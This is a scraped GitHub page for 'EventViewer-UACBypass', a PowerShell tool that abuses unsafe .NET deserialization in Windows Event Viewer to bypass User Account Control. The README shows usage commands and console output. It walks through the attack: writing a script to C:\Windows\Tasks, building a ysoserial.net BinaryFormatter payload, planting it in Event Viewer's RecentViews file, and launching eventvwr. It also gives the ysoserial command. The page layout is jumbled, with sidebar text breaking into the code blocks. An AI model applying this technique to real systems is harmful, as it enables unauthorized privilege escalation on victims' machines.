Sign in

CsEnox / **EventViewer-UACBypass** Public

Notifications | Fork 21 | Star 168

Code | Issues | Pull requests | Actions | Projects | Security | Insights

main | Go to file | Code

Invoke-EventViewer....

README.md

README

EventViewer-UACBypass

- RCE through Unsafe .Net Deserialization in Windows Event Viewer which leads to UAC bypass.
- Full credits to Orange Tsai

Usage

```
PS C:\Windows\Tasks> Import-Module .\Invoke-Eve

PS C:\Windows\Tasks> Invoke-EventViewer
[-] Usage: Invoke-EventViewer commandhere
Example: Invoke-EventViewer cmd.exe

PS C:\Windows\Tasks> Invoke-EventViewer cmd.exe
[+] Running
[1] Crafting Payload
```

About

🍊 Orange Tsai EventViewer RCE

Readme

Activity

168 stars

5 watching

21 forks

Report repository

Releases

No releases published

Packages

No packages published

Languages

● **PowerShell** 100.0%

```
[2] Writing Payload
[+] EventViewer Folder exists
[3] Finally, invoking eventvwr
```

Working

i) First, the script adds commands to be run to the file `C:\Windows\Tasks\EventViewerRCE.ps1`

- `Stop-Process -name mmc*` : Is used to close Microsoft Management Console.
- After that the command to be executed is added.

ii) Then it crafts payload which runs `C:\Windows\Tasks\EventViewerRCE.ps1` script. The base64 payload was generated using ysoserial.net :

```
ysoserial.exe -o base64 -f BinaryFormatter -g D
```

- The base64 output from ysoserial.net is decoded and stored in `C:\Windows\Tasks\p4yl0ad`
- The powershell encoded command decodes to :

```
Set-ExecutionPolicy Bypass -Scope CurrentUser;
```

iii) When `WriteFile` function is executed, it checks if the `Event Viewer` folder exists in AppData and it it doesn't then we create the folder. Finally storing our base64 decoded payload in `RecentViews` file under this folder.

iv) In the end, `eventvwr` is executed which then executes our payload.

Reference

- https://twitter.com/orange_8361/status/1518970259868626944